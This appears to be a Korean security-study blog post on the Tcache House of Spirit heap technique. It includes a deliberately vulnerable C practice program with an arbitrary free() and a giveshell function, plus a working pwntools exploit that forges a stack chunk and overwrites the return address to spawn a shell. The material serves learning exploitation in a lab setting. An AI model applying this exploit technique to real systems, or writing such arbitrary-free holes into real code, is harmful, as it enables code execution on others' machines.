공격조건
fake chunk의 주소를 알아야 한다. 임의의 주소를 free할 수 있다.
Tcache House of Spirit 이란?
free 함수의 인자를 조작하여 임의의 메모리를 해제할 수 있을 때 사용할 수 있는 기법으로 원하는 주소에 힙을 할당해 임의의 주소에 값을 쓸 수 있다.
예시
// gcc -o spirit1 spirit1.c -no-pie
#include <stdio.h>
#include <stdlib.h>
int main()
{
long long fake_chunk[10] = {0,};
fake_chunk[0] = 0;
fake_chunk[1] = 0x31;
fake_chunk[2] = 0x41414141;
free(&fake_chunk[2]);
char *fake_alloc = malloc(0x20);
printf("fake chunk: %p\n", fake_alloc);
}
fake chunk를 구성하고 free 한 후 재할당을 한다. 그러면 fake chunk가 할당이 된다.
예제 문제 _ 1
// gcc -o spirit2 spirit2.c -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void giveshell()
{
execve("/bin/sh",0,0);
}
int main()
{
setvbuf(stdin,0,2,0);
setvbuf(stdout,0,2,0);
char *ptr[10] = {0,};
long long idx = 0;
size_t size = 0;
long long index = 0;
size_t address = 0;
int i = 0;
size_t *ptr_size[10] = {0,};
printf("%p\n", &size);
while(1) {
printf("1. Add\n");
printf("2. Free\n");
printf("3. Edit\n");
printf(">");
scanf("%d",&idx);
switch(idx) {
case 1:
if( i >= 10 ) {
break;
}
printf("Size: ");
scanf("%llu",&size);
ptr[i] = malloc(size);
ptr_size[i] = size;
i++;
break;
case 2:
printf("Address: ");
scanf("%lld", &address);
free(address);
break;
case 3:
printf("Index: ");
scanf("%llu", &index);
read(0, ptr[index], ptr_size[index]);
break;
default:
return 0;
}
}
return 0;
}
익스플로잇 순서는 다음과 같다.
- stack을 fake chunk로 하기 위해서는 chunk의 구조를 만들어야 한다. idx와 size를 prev_size와 size로 사용한다.
- case 1을 실행하여 size를 적당한 크기로 요청한다.
- case 2를 실행하여 size_add + 0x8을 입력한다.
- 그러면 ptr_add - 0x10 위치에 chunk의 mem이 위치한다.
- 그냥 전부 overwrite하고싶지만 카나리가 걸려있어서 다른 방법을 찾는다.
- ptr에는 chunk 포인터가 있으니 이것을 ret 주소로 overwrite하면된다.
- ptr[0]에 ret 주소를 넣고 3번에 0번 chunk를 참조 후 giveshell주로를 넣는다.
- case 4를 실행하여 종료시키면 셸을 딸 수 있다.
from pwn import *
context.log_level = 'debug'
p = process("./spi2")
giveshell = 0x0000000000400837
pause()
# 0x7ffecabb01c8 - 0x7ffecabb00f8
p.recvuntil("0x")
stack_leak = int(p.recv(12), 16)
fake_add = stack_leak + 0x8
# fake_chunk_add + 0x68 이 ret임
p.sendlineafter(b">", b'1')
p.sendlineafter(b"Size: ", b'129')
# 요청은 0x70만큼 요청 = 112
p.sendlineafter(b">", b'2')
p.sendlineafter(b"Address: ", str(fake_add)) # 0x70
p.sendlineafter(b">", b'1')
p.sendlineafter(b"Size: ", b'112')
p.sendlineafter(b">", b'3')
p.sendlineafter(b"Index: ", b'1')
fake_add2 = stack_leak + 0xd0
ex = b'a'*0x10
ex += p64(fake_add2)
p.sendline(ex)
p.sendlineafter(b">", b'3')
p.sendlineafter(b"Index: ", b'0')
ex = p64(giveshell)
# ex += b'\x00'*0x50
p.sendline(ex)
p.sendlineafter(b">", b'4')
p.interactive()
# 0x7ffecabb01c0 - 0x7ffecabb0160
# 0x7ffecabb00f8
# 0x7ffecabb0160
<틀린 부분이 있다면 비난과 욕설을 해주세요>
'포너블 > Heap' 카테고리의 다른 글
heap exploit 공부하기 좋은 곳 (1) | 2024.12.10 |
---|---|
Tcache memory leak (0) | 2024.12.10 |
breaking calloc (0) | 2024.10.12 |
__malloc_hook overwrite (0) | 2024.04.29 |
Heap Feng Shui (0) | 2024.04.29 |